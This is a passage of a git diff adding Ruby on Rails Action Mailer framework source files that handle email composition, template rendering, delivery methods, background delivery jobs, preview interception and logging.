+          mail = Mail.new(raw_mail)
+          set_payload_for_mail(payload, mail)
+          new.receive(mail)
+        end
+      end
+
+      # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
+      #
+      # This method is actually called by the <tt>Mail::Message</tt> object itself
+      # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+      # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
+      # nothing except tell the logger you sent the email.
+      def deliver_mail(mail) #:nodoc:
+        ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
+          set_payload_for_mail(payload, mail)
+          yield # Let Mail do the delivery actions
+        end
+      end
+
+    private
+
+      def set_payload_for_mail(payload, mail)
+        payload[:mailer]     = name
+        payload[:message_id] = mail.message_id
+        payload[:subject]    = mail.subject
+        payload[:to]         = mail.to
+        payload[:from]       = mail.from
+        payload[:bcc]        = mail.bcc if mail.bcc.present?
+        payload[:cc]         = mail.cc  if mail.cc.present?
+        payload[:date]       = mail.date
+        payload[:mail]       = mail.encoded
+      end
+
+      def method_missing(method_name, *args)
+        if action_methods.include?(method_name.to_s)
+          MessageDelivery.new(self, method_name, *args)
+        else
+          super
+        end
+      end
+
+      def respond_to_missing?(method, include_all = false)
+        action_methods.include?(method.to_s) || super
+      end
+    end
+
+    attr_internal :message
+
+    # Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
+    # will be initialized according to the named method. If not, the mailer will
+    # remain uninitialized (useful when you only need to invoke the "receive"
+    # method, for instance).
+    def initialize
+      super()
+      @_mail_was_called = false
+      @_message = Mail.new
+    end
+
+    def process(method_name, *args) #:nodoc:
+      payload = {
+        mailer: self.class.name,
+        action: method_name,
+        args: args
+      }
+
+      ActiveSupport::Notifications.instrument("process.action_mailer", payload) do
+        super
+        @_message = NullMail.new unless @_mail_was_called
+      end
+    end
+
+    class NullMail #:nodoc:
+      def body; "" end
+      def header; {} end
+
+      def respond_to?(string, include_all = false)
+        true
+      end
+
+      def method_missing(*args)
+        nil
+      end
+    end
+
+    # Returns the name of the mailer object.
+    def mailer_name
+      self.class.mailer_name
+    end
+
+    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
+    # object which will add them to itself.
+    #
+    #   headers['X-Special-Domain-Specific-Header'] = "SecretValue"
+    #
+    # You can also pass a hash into headers of header field names and values,
+    # which will then be set on the <tt>Mail::Message</tt> object:
+    #
+    #   headers 'X-Special-Domain-Specific-Header' => "SecretValue",
+    #           'In-Reply-To' => incoming.message_id
+    #
+    # The resulting <tt>Mail::Message</tt> will have the following in its header:
+    #
+    #   X-Special-Domain-Specific-Header: SecretValue
+    #
+    # Note about replacing already defined headers:
+    #
+    # * +subject+
+    # * +sender+
+    # * +from+
+    # * +to+
+    # * +cc+
+    # * +bcc+
+    # * +reply-to+
+    # * +orig-date+
+    # * +message-id+
+    # * +references+
+    #
+    # Fields can only appear once in email headers while other fields such as
+    # <tt>X-Anything</tt> can appear multiple times.
+    #
+    # If you want to replace any header which already exists, first set it to
+    # +nil+ in order to reset the value otherwise another field will be added
+    # for the same header.
+    def headers(args = nil)
+      if args
+        @_message.headers(args)
+      else
+        @_message
+      end
+    end
+
+    # Allows you to add attachments to an email, like so:
+    #
+    #  mail.attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+    #
+    # If you do this, then Mail will take the file name and work out the mime type.
+    # It will also set the Content-Type, Content-Disposition, Content-Transfer-Encoding
+    # and encode the contents of the attachment in Base64.
+    #
+    # You can also specify overrides if you want by passing a hash instead of a string:
+    #
+    #  mail.attachments['filename.jpg'] = {mime_type: 'application/gzip',
+    #                                      content: File.read('/path/to/filename.jpg')}
+    #
+    # If you want to use encoding other than Base64 then you will need to pass encoding
+    # type along with the pre-encoded content as Mail doesn't know how to decode the
+    # data:
+    #
+    #  file_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+    #  mail.attachments['filename.jpg'] = {mime_type: 'application/gzip',
+    #                                      encoding: 'SpecialEncoding',
+    #                                      content: file_content }
+    #
+    # You can also search for specific attachments:
+    #
+    #  # By Filename
+    #  mail.attachments['filename.jpg']   # => Mail::Part object or nil
+    #
+    #  # or by index
+    #  mail.attachments[0]                # => Mail::Part (first attachment)
+    #
+    def attachments
+      if @_mail_was_called
+        LateAttachmentsProxy.new(@_message.attachments)
+      else
+        @_message.attachments
+      end
+    end
+
+    class LateAttachmentsProxy < SimpleDelegator
+      def inline; _raise_error end
+      def []=(_name, _content); _raise_error end
+
+      private
+        def _raise_error
+          raise RuntimeError, "Can't add attachments after `mail` was called.\n" \
+                              "Make sure to use `attachments[]=` before calling `mail`."
+        end
+    end
+
+    # The main method that creates the message and renders the email templates. There are
+    # two ways to call this method, with a block, or without a block.
+    #
+    # It accepts a headers hash. This hash allows you to specify
+    # the most used headers in an email message, these are:
+    #
+    # * +:subject+ - The subject of the message, if this is omitted, Action Mailer will
+    #   ask the Rails I18n class for a translated +:subject+ in the scope of
+    #   <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
+    #   humanized version of the +action_name+
+    # * +:to+ - Who the message is destined for, can be a string of addresses, or an array
+    #   of addresses.
+    # * +:from+ - Who the message is from
+    # * +:cc+ - Who you would like to Carbon-Copy on this email, can be a string of addresses,
+    #   or an array of addresses.
+    # * +:bcc+ - Who you would like to Blind-Carbon-Copy on this email, can be a string of
+    #   addresses, or an array of addresses.
+    # * +:reply_to+ - Who to set the Reply-To header of the email to.
+    # * +:date+ - The date to say the email was sent on.
+    #
+    # You can set default values for any of the above headers (except +:date+)
+    # by using the ::default class method:
+    #
+    #  class Notifier < ActionMailer::Base
+    #    default from: 'no-reply@test.lindsaar.net',
+    #            bcc: 'email_logger@test.lindsaar.net',
+    #            reply_to: 'bounces@test.lindsaar.net'
+    #  end
+    #
+    # If you need other headers not listed above, you can either pass them in
+    # as part of the headers hash or use the <tt>headers['name'] = value</tt>
+    # method.
+    #
+    # When a +:return_path+ is specified as header, that value will be used as
+    # the 'envelope from' address for the Mail message. Setting this is useful
+    # when you want delivery notifications sent to a different address than the
+    # one in +:from+. Mail will actually use the +:return_path+ in preference
+    # to the +:sender+ in preference to the +:from+ field for the 'envelope
+    # from' value.
+    #
+    # If you do not pass a block to the +mail+ method, it will find all
+    # templates in the view paths using by default the mailer name and the
+    # method name that it is being called from, it will then create parts for
+    # each of these templates intelligently, making educated guesses on correct
+    # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+    # ready to call <tt>:deliver</tt> on to send.
+    #
+    # For example:
+    #
+    #   class Notifier < ActionMailer::Base
+    #     default from: 'no-reply@test.lindsaar.net'
+    #
+    #     def welcome
+    #       mail(to: 'mikel@test.lindsaar.net')
+    #     end
+    #   end
+    #
+    # Will look for all templates at "app/views/notifier" with name "welcome".
+    # If no welcome template exists, it will raise an ActionView::MissingTemplate error.
+    #
+    # However, those can be customized:
+    #
+    #   mail(template_path: 'notifications', template_name: 'another')
+    #
+    # And now it will look for all templates at "app/views/notifications" with name "another".
+    #
+    # If you do pass a block, you can render specific templates of your choice:
+    #
+    #   mail(to: 'mikel@test.lindsaar.net') do |format|
+    #     format.text
+    #     format.html
+    #   end
+    #
+    # You can even render plain text directly without using a template:
+    #
+    #   mail(to: 'mikel@test.lindsaar.net') do |format|
+    #     format.text { render plain: "Hello Mikel!" }
+    #     format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
+    #   end
+    #
+    # Which will render a +multipart/alternative+ email with +text/plain+ and
+    # +text/html+ parts.
+    #
+    # The block syntax also allows you to customize the part headers if desired:
+    #
+    #   mail(to: 'mikel@test.lindsaar.net') do |format|
+    #     format.text(content_transfer_encoding: "base64")
+    #     format.html
+    #   end
+    #
+    def mail(headers = {}, &block)
+      return message if @_mail_was_called && headers.blank? && !block
+
+      # At the beginning, do not consider class default for content_type
+      content_type = headers[:content_type]
+
+      headers = apply_defaults(headers)
+
+      # Apply charset at the beginning so all fields are properly quoted
+      message.charset = charset = headers[:charset]
+
+      # Set configure delivery behavior
+      wrap_delivery_behavior!(headers[:delivery_method], headers[:delivery_method_options])
+
+      assign_headers_to_message(message, headers)
+
+      # Render the templates and blocks
+      responses = collect_responses(headers, &block)
+      @_mail_was_called = true
+
+      create_parts_from_responses(message, responses)
+
+      # Setup content type, reapply charset and handle parts order
+      message.content_type = set_content_type(message, content_type, headers[:content_type])
+      message.charset      = charset
+
+      if message.multipart?
+        message.body.set_sort_order(headers[:parts_order])
+        message.body.sort_parts!
+      end
+
+      message
+    end
+
+    private
+
+      # Used by #mail to set the content type of the message.
+      #
+      # It will use the given +user_content_type+, or multipart if the mail
+      # message has any attachments. If the attachments are inline, the content
+      # type will be "multipart/related", otherwise "multipart/mixed".
+      #
+      # If there is no content type passed in via headers, and there are no
+      # attachments, or the message is multipart, then the default content type is
+      # used.
+      def set_content_type(m, user_content_type, class_default) # :doc:
+        params = m.content_type_parameters || {}
+        case
+        when user_content_type.present?
+          user_content_type
+        when m.has_attachments?
+          if m.attachments.detect(&:inline?)
+            ["multipart", "related", params]
+          else
+            ["multipart", "mixed", params]
+          end
+        when m.multipart?
+          ["multipart", "alternative", params]
+        else
+          m.content_type || class_default
+        end
+      end
+
+      # Translates the +subject+ using Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
+      # If it does not find a translation for the +subject+ under the specified scope it will default to a
+      # humanized version of the <tt>action_name</tt>.
+      # If the subject has interpolations, you can pass them through the +interpolations+ parameter.
+      def default_i18n_subject(interpolations = {}) # :doc:
+        mailer_scope = self.class.mailer_name.tr("/", ".")
+        I18n.t(:subject, interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))
+      end
+
+      # Emails do not support relative path links.
+      def self.supports_path? # :doc:
+        false
+      end
+
+      def apply_defaults(headers)
+        default_values = self.class.default.map do |key, value|
+          [
+            key,
+            value.is_a?(Proc) ? instance_exec(&value) : value
+          ]
+        end.to_h
+
+        headers_with_defaults = headers.reverse_merge(default_values)
+        headers_with_defaults[:subject] ||= default_i18n_subject
+        headers_with_defaults
+      end
+
+      def assign_headers_to_message(message, headers)
+        assignable = headers.except(:parts_order, :content_type, :body, :template_name,
+                                    :template_path, :delivery_method, :delivery_method_options)
+        assignable.each { |k, v| message[k] = v }
+      end
+
+      def collect_responses(headers)
+        if block_given?
+          collector = ActionMailer::Collector.new(lookup_context) { render(action_name) }
+          yield(collector)
+          collector.responses
+        elsif headers[:body]
+          collect_responses_from_text(headers)
+        else
+          collect_responses_from_templates(headers)
+        end
+      end
+
+      def collect_responses_from_text(headers)
+        [{
+          body: headers.delete(:body),
+          content_type: headers[:content_type] || "text/plain"
+        }]
+      end
+
+      def collect_responses_from_templates(headers)
+        templates_path = headers[:template_path] || self.class.mailer_name
+        templates_name = headers[:template_name] || action_name
+
+        each_template(Array(templates_path), templates_name).map do |template|
+          self.formats = template.formats
+          {
+            body: render(template: template),
+            content_type: template.type.to_s
+          }
+        end
+      end
+
+      def each_template(paths, name, &block)
+        templates = lookup_context.find_all(name, paths)
+        if templates.empty?
+          raise ActionView::MissingTemplate.new(paths, name, paths, false, "mailer")
+        else
+          templates.uniq(&:formats).each(&block)
+        end
+      end
+
+      def create_parts_from_responses(m, responses)
+        if responses.size == 1 && !m.has_attachments?
+          responses[0].each { |k, v| m[k] = v }
+        elsif responses.size > 1 && m.has_attachments?
+          container = Mail::Part.new
+          container.content_type = "multipart/alternative"
+          responses.each { |r| insert_part(container, r, m.charset) }
+          m.add_part(container)
+        else
+          responses.each { |r| insert_part(m, r, m.charset) }
+        end
+      end
+
+      def insert_part(container, response, charset)
+        response[:charset] ||= charset
+        part = Mail::Part.new(response)
+        container.add_part(part)
+      end
+
+      # This and #instrument_name is for caching instrument
+      def instrument_payload(key)
+        {
+          mailer: mailer_name,
+          key: key
+        }
+      end
+
+      def instrument_name
+        "action_mailer".freeze
+      end
+
+      ActiveSupport.run_load_hooks(:action_mailer, self)
+  end
+end
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
new file mode 100644
index 0000000000..888410fa75
--- /dev/null
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_controller/collector"
+require "active_support/core_ext/hash/reverse_merge"
+require "active_support/core_ext/array/extract_options"
+
+module ActionMailer
+  class Collector
+    include AbstractController::Collector
+    attr_reader :responses
+
+    def initialize(context, &block)
+      @context = context
+      @responses = []
+      @default_render = block
+    end
+
+    def any(*args, &block)
+      options = args.extract_options!
+      raise ArgumentError, "You have to supply at least one format" if args.empty?
+      args.each { |type| send(type, options.dup, &block) }
+    end
+    alias :all :any
+
+    def custom(mime, options = {})
+      options.reverse_merge!(content_type: mime.to_s)
+      @context.formats = [mime.to_sym]
+      options[:body] = block_given? ? yield : @default_render.call
+      @responses << options
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/delivery_job.rb b/actionmailer/lib/action_mailer/delivery_job.rb
new file mode 100644
index 0000000000..40f26d8ad1
--- /dev/null
+++ b/actionmailer/lib/action_mailer/delivery_job.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "active_job"
+
+module ActionMailer
+  # The <tt>ActionMailer::DeliveryJob</tt> class is used when you
+  # want to send emails outside of the request-response cycle.
+  #
+  # Exceptions are rescued and handled by the mailer class.
+  class DeliveryJob < ActiveJob::Base # :nodoc:
+    queue_as { ActionMailer::Base.deliver_later_queue_name }
+
+    rescue_from StandardError, with: :handle_exception_with_mailer_class
+
+    def perform(mailer, mail_method, delivery_method, *args) #:nodoc:
+      mailer.constantize.public_send(mail_method, *args).send(delivery_method)
+    end
+
+    private
+      # "Deserialize" the mailer class name by hand in case another argument
+      # (like a Global ID reference) raised DeserializationError.
+      def mailer_class
+        if mailer = Array(@serialized_arguments).first || Array(arguments).first
+          mailer.constantize
+        end
+      end
+
+      def handle_exception_with_mailer_class(exception)
+        if klass = mailer_class
+          klass.handle_exception exception
+        else
+          raise exception
+        end
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
new file mode 100644
index 0000000000..5cd62307e6
--- /dev/null
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "tmpdir"
+
+module ActionMailer
+  # This module handles everything related to mail delivery, from registering
+  # new delivery methods to configuring the mail object to be sent.
+  module DeliveryMethods
+    extend ActiveSupport::Concern
+
+    included do
+      # Do not make this inheritable, because we always want it to propagate
+      cattr_accessor :raise_delivery_errors, default: true
+      cattr_accessor :perform_deliveries, default: true
+      cattr_accessor :deliver_later_queue_name, default: :mailers
+
+      class_attribute :delivery_methods, default: {}.freeze
+      class_attribute :delivery_method, default: :smtp
+
+      add_delivery_method :smtp, Mail::SMTP,
+        address:              "localhost",
+        port:                 25,
+        domain:               "localhost.localdomain",
+        user_name:            nil,
+        password:             nil,
+        authentication:       nil,
+        enable_starttls_auto: true
+
+      add_delivery_method :file, Mail::FileDelivery,
+        location: defined?(Rails.root) ? "#{Rails.root}/tmp/mails" : "#{Dir.tmpdir}/mails"
+
+      add_delivery_method :sendmail, Mail::Sendmail,
+        location:  "/usr/sbin/sendmail",
+        arguments: "-i"
+
+      add_delivery_method :test, Mail::TestMailer
+    end
+
+    # Helpers for creating and wrapping delivery behavior, used by DeliveryMethods.
+    module ClassMethods
+      # Provides a list of emails that have been delivered by Mail::TestMailer
+      delegate :deliveries, :deliveries=, to: Mail::TestMailer
+
+      # Adds a new delivery method through the given class using the given
+      # symbol as alias and the default options supplied.
+      #
+      #   add_delivery_method :sendmail, Mail::Sendmail,
+      #     location:  '/usr/sbin/sendmail',
+      #     arguments: '-i'
+      def add_delivery_method(symbol, klass, default_options = {})
+        class_attribute(:"#{symbol}_settings") unless respond_to?(:"#{symbol}_settings")
+        send(:"#{symbol}_settings=", default_options)
+        self.delivery_methods = delivery_methods.merge(symbol.to_sym => klass).freeze
+      end
+
+      def wrap_delivery_behavior(mail, method = nil, options = nil) # :nodoc:
+        method ||= delivery_method
+        mail.delivery_handler = self
+
+        case method
+        when NilClass
+          raise "Delivery method cannot be nil"
+        when Symbol
+          if klass = delivery_methods[method]
+            mail.delivery_method(klass, (send(:"#{method}_settings") || {}).merge(options || {}))
+          else
+            raise "Invalid delivery method #{method.inspect}"
+          end
+        else
+          mail.delivery_method(method)
+        end
+
+        mail.perform_deliveries    = perform_deliveries
+        mail.raise_delivery_errors = raise_delivery_errors
+      end
+    end
+
+    def wrap_delivery_behavior!(*args) # :nodoc:
+      self.class.wrap_delivery_behavior(message, *args)
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
new file mode 100644
index 0000000000..063d4580d8
--- /dev/null
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt>.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionmailer/lib/action_mailer/inline_preview_interceptor.rb b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb
new file mode 100644
index 0000000000..4bef4a58d3
--- /dev/null
+++ b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "base64"
+
+module ActionMailer
+  # Implements a mailer preview interceptor that converts image tag src attributes
+  # that use inline cid: style urls to data: style urls so that they are visible
+  # when previewing an HTML email in a web browser.
+  #
+  # This interceptor is enabled by default. To disable it, delete it from the
+  # <tt>ActionMailer::Base.preview_interceptors</tt> array:
+  #
+  #   ActionMailer::Base.preview_interceptors.delete(ActionMailer::InlinePreviewInterceptor)
+  #
+  class InlinePreviewInterceptor
+    PATTERN = /src=(?:"cid:[^"]+"|'cid:[^']+')/i
+
+    include Base64
+
+    def self.previewing_email(message) #:nodoc:
+      new(message).transform!
+    end
+
+    def initialize(message) #:nodoc:
+      @message = message
+    end
+
+    def transform! #:nodoc:
+      return message if html_part.blank?
+
+      html_part.body = html_part.decoded.gsub(PATTERN) do |match|
+        if part = find_part(match[9..-2])
+          %[src="#{data_url(part)}"]
+        else
+          match
+        end
+      end
+
+      message
+    end
+
+    private
+      def message
+        @message
+      end
+
+      def html_part
+        @html_part ||= message.html_part
+      end
+
+      def data_url(part)
+        "data:#{part.mime_type};base64,#{strict_encode64(part.body.raw_source)}"
+      end
+
+      def find_part(cid)
+        message.all_parts.find { |p| p.attachment? && p.cid == cid }
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
new file mode 100644
index 0000000000..87cfbfff28
--- /dev/null
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "active_support/log_subscriber"
+
+module ActionMailer
+  # Implements the ActiveSupport::LogSubscriber for logging notifications when
+  # email is delivered or received.
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    # An email was delivered.
+    def deliver(event)
+      info do
+        recipients = Array(event.payload[:to]).join(", ")
+        "Sent mail to #{recipients} (#{event.duration.round(1)}ms)"
+      end
+
+      debug { event.payload[:mail] }
+    end
+
+    # An email was received.
+    def receive(event)
+      info { "Received mail (#{event.duration.round(1)}ms)" }
+      debug { event.payload[:mail] }
+    end
+
+    # An email was generated.
+    def process(event)
+      debug do
+        mailer = event.payload[:mailer]
+        action = event.payload[:action]
+        "#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms"
+      end
+    end
+
+    # Use the logger configured for ActionMailer::Base.
+    def logger
+      ActionMailer::Base.logger
+    end
+  end
+end
+
+ActionMailer::LogSubscriber.attach_to :action_mailer
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
new file mode 100644
index 0000000000..e7bed41f8d
--- /dev/null
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  # Provides helper methods for ActionMailer::Base that can be used for easily
+  # formatting messages, accessing mailer or message instances, and the
+  # attachments list.
+  module MailHelper
+    # Take the text and format it, indented two spaces for each line, and
+    # wrapped at 72 columns:
+    #
+    #   text = <<-TEXT
+    #     This is
+    #     the      paragraph.
+    #
+    #     * item1 * item2
+    #   TEXT
+    #
+    #   block_format text
+    #   # => "  This is the paragraph.\n\n  * item1\n  * item2\n"
+    def block_format(text)
+      formatted = text.split(/\n\r?\n/).collect { |paragraph|
+        format_paragraph(paragraph)
+      }.join("\n\n")
+
+      # Make list points stand on their own line
+      formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { "  #{$1} #{$2.strip}\n" }
+      formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { "  #{$1} #{$2.strip}\n" }
+
+      formatted
+    end
+
+    # Access the mailer instance.
+    def mailer
+      @_controller
+    end
+
+    # Access the message instance.
+    def message
+      @_message
+    end
+
+    # Access the message attachments list.
+    def attachments
+      mailer.attachments
+    end
+
+    # Returns +text+ wrapped at +len+ columns and indented +indent+ spaces.
+    # By default column length +len+ equals 72 characters and indent
+    # +indent+ equal two spaces.
+    #
+    #   my_text = 'Here is a sample text with more than 40 characters'
+    #
+    #   format_paragraph(my_text, 25, 4)
+    #   # => "    Here is a sample text with\n    more than 40 characters"
+    def format_paragraph(text, len = 72, indent = 2)
+      sentences = [[]]
+
+      text.split.each do |word|
+        if sentences.first.present? && (sentences.last + [word]).join(" ").length > len
+          sentences << [word]
+        else
+          sentences.last << word
+        end
+      end
+
+      indentation = " " * indent
+      sentences.map! { |sentence|
+        "#{indentation}#{sentence.join(' ')}"
+      }.join "\n"
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/message_delivery.rb b/actionmailer/lib/action_mailer/message_delivery.rb
new file mode 100644
index 0000000000..fe7265834f
--- /dev/null
+++ b/actionmailer/lib/action_mailer/message_delivery.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require "delegate"
+
+module ActionMailer
+  # The <tt>ActionMailer::MessageDelivery</tt> class is used by
+  # <tt>ActionMailer::Base</tt> when creating a new mailer.
+  # <tt>MessageDelivery</tt> is a wrapper (+Delegator+ subclass) around a lazy
+  # created <tt>Mail::Message</tt>. You can get direct access to the
+  # <tt>Mail::Message</tt>, deliver the email or schedule the email to be sent
+  # through Active Job.
+  #
+  #   Notifier.welcome(User.first)               # an ActionMailer::MessageDelivery object
+  #   Notifier.welcome(User.first).deliver_now   # sends the email
+  #   Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job
+  #   Notifier.welcome(User.first).message       # a Mail::Message object
+  class MessageDelivery < Delegator
+    def initialize(mailer_class, action, *args) #:nodoc:
+      @mailer_class, @action, @args = mailer_class, action, args
+
+      # The mail is only processed if we try to call any methods on it.
+      # Typical usage will leave it unloaded and call deliver_later.
+      @processed_mailer = nil
+      @mail_message = nil
+    end
+
+    # Method calls are delegated to the Mail::Message that's ready to deliver.
+    def __getobj__ #:nodoc:
+      @mail_message ||= processed_mailer.message
+    end
+
+    # Unused except for delegator internals (dup, marshaling).
+    def __setobj__(mail_message) #:nodoc:
+      @mail_message = mail_message
+    end
+
+    # Returns the resulting Mail::Message
+    def message
+      __getobj__
+    end
+
+    # Was the delegate loaded, causing the mailer action to be processed?
+    def processed?
+      @processed_mailer || @mail_message
+    end
+
+    # Enqueues the email to be delivered through Active Job. When the
+    # job runs it will send the email using +deliver_now!+. That means
+    # that the message will be sent bypassing checking +perform_deliveries+
+    # and +raise_delivery_errors+, so use with caution.
+    #
+    #   Notifier.welcome(User.first).deliver_later!
+    #   Notifier.welcome(User.first).deliver_later!(wait: 1.hour)
+    #   Notifier.welcome(User.first).deliver_later!(wait_until: 10.hours.from_now)
+    #
+    # By default, the email will be enqueued using <tt>ActionMailer::DeliveryJob</tt>. Each
+    # <tt>ActionMailer::Base</tt> class can specify the job to use by setting the class variable
+    # +delivery_job+.
+    #
+    #   class AccountRegistrationMailer < ApplicationMailer
+    #     self.delivery_job = RegistrationDeliveryJob
+    #   end
+    #
+    # Options:
+    #
+    # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
+    # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
+    # * <tt>:queue</tt> - Enqueue the email on the specified queue
+    def deliver_later!(options = {})
+      enqueue_delivery :deliver_now!, options
+    end
+
+    # Enqueues the email to be delivered through Active Job. When the
+    # job runs it will send the email using +deliver_now+.
+    #
+    #   Notifier.welcome(User.first).deliver_later
+    #   Notifier.welcome(User.first).deliver_later(wait: 1.hour)
+    #   Notifier.welcome(User.first).deliver_later(wait_until: 10.hours.from_now)
+    #
+    # By default, the email will be enqueued using <tt>ActionMailer::DeliveryJob</tt>. Each
+    # <tt>ActionMailer::Base</tt> class can specify the job to use by setting the class variable
+    # +delivery_job+.
+    #
+    #   class AccountRegistrationMailer < ApplicationMailer
+    #     self.delivery_job = RegistrationDeliveryJob
+    #   end
+    #
+    # Options:
+    #
+    # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay.
+    # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time.
+    # * <tt>:queue</tt> - Enqueue the email on the specified queue.
+    def deliver_later(options = {})
+      enqueue_delivery :deliver_now, options
+    end
+
+    # Delivers an email without checking +perform_deliveries+ and +raise_delivery_errors+,
+    # so use with caution.
+    #
+    #   Notifier.welcome(User.first).deliver_now!
+    #
+    def deliver_now!
+      processed_mailer.handle_exceptions do
+        message.deliver!
+      end
+    end
+
+    # Delivers an email:
+    #
+    #   Notifier.welcome(User.first).deliver_now
+    #
+    def deliver_now
+      processed_mailer.handle_exceptions do
+        message.deliver
+      end
+    end
+
+    private
+      # Returns the processed Mailer instance. We keep this instance
+      # on hand so we can delegate exception handling to it.
+      def processed_mailer
+        @processed_mailer ||= @mailer_class.new.tap do |mailer|
+          mailer.process @action, *@args
+        end
+      end
+
+      def enqueue_delivery(delivery_method, options = {})
+        if processed?
+          ::Kernel.raise "You've accessed the message before asking to " \
+            "deliver it later, so you may have made local changes that would " \
+            "be silently lost if we enqueued a job to deliver it. Why? Only " \
+            "the mailer method *arguments* are passed with the delivery job! " \
+            "Do not access the message in any way if you mean to deliver it " \
+            "later. Workarounds: 1. don't touch the message before calling " \
+            "#deliver_later, 2. only touch the message *within your mailer " \
+            "method*, or 3. use a custom Active Job instead of #deliver_later."
+        else
+          args = @mailer_class.name, @action.to_s, delivery_method.to_s, *@args
+          job = @mailer_class.delivery_job
+          job.set(options).perform_later(*args)
+        end
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/parameterized.rb b/actionmailer/lib/action_mailer/parameterized.rb
new file mode 100644
index 0000000000..5e768e7106
--- /dev/null
+++ b/actionmailer/lib/action_mailer/parameterized.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  # Provides the option to parameterize mailers in order to share instance variable
+  # setup, processing, and common headers.
+  #
+  # Consider this example that does not use parameterization:
+  #
+  #   class InvitationsMailer < ApplicationMailer
+  #     def account_invitation(inviter, invitee)
+  #       @account = inviter.account
+  #       @inviter = inviter
+  #       @invitee = invitee
+  #
+  #       subject = "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  #
+  #       mail \
+  #         subject:   subject,
+  #         to:        invitee.email_address,
+  #         from:      common_address(inviter),
+  #         reply_to:  inviter.email_address_with_name
+  #     end
+  #
+  #     def project_invitation(project, inviter, invitee)
+  #       @account = inviter.account
+  #       @project = project
+  #       @inviter = inviter
+  #       @invitee = invitee
+  #       @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+  #
+  #       subject = "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+  #
+  #       mail \
+  #         subject:   subject,
+  #         to:        invitee.email_address,
+  #         from:      common_address(inviter),
+  #         reply_to:  inviter.email_address_with_name
+  #     end
+  #
+  #     def bulk_project_invitation(projects, inviter, invitee)
+  #       @account  = inviter.account
+  #       @projects = projects.sort_by(&:name)
+  #       @inviter  = inviter
+  #       @invitee  = invitee
+  #
+  #       subject = "#{@inviter.name.familiar} added you to some new stuff in Basecamp (#{@account.name})"
+  #
+  #       mail \
+  #         subject:   subject,
+  #         to:        invitee.email_address,
+  #         from:      common_address(inviter),
+  #         reply_to:  inviter.email_address_with_name
+  #     end
+  #   end
+  #
+  #   InvitationsMailer.account_invitation(person_a, person_b).deliver_later
+  #
+  # Using parameterized mailers, this can be rewritten as:
+  #
+  #   class InvitationsMailer < ApplicationMailer
+  #     before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+  #     before_action { @account = params[:inviter].account }
+  #
+  #     default to:       -> { @invitee.email_address },
+  #             from:     -> { common_address(@inviter) },
+  #             reply_to: -> { @inviter.email_address_with_name }
+  #
+  #     def account_invitation
+  #       mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  #     end
+  #
+  #     def project_invitation
+  #       @project    = params[:project]
+  #       @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+  #
+  #       mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+  #     end
+  #
+  #     def bulk_project_invitation
+  #       @projects = params[:projects].sort_by(&:name)
+  #
+  #       mail subject: "#{@inviter.name.familiar} added you to some new stuff in Basecamp (#{@account.name})"
+  #     end
+  #   end
+  #
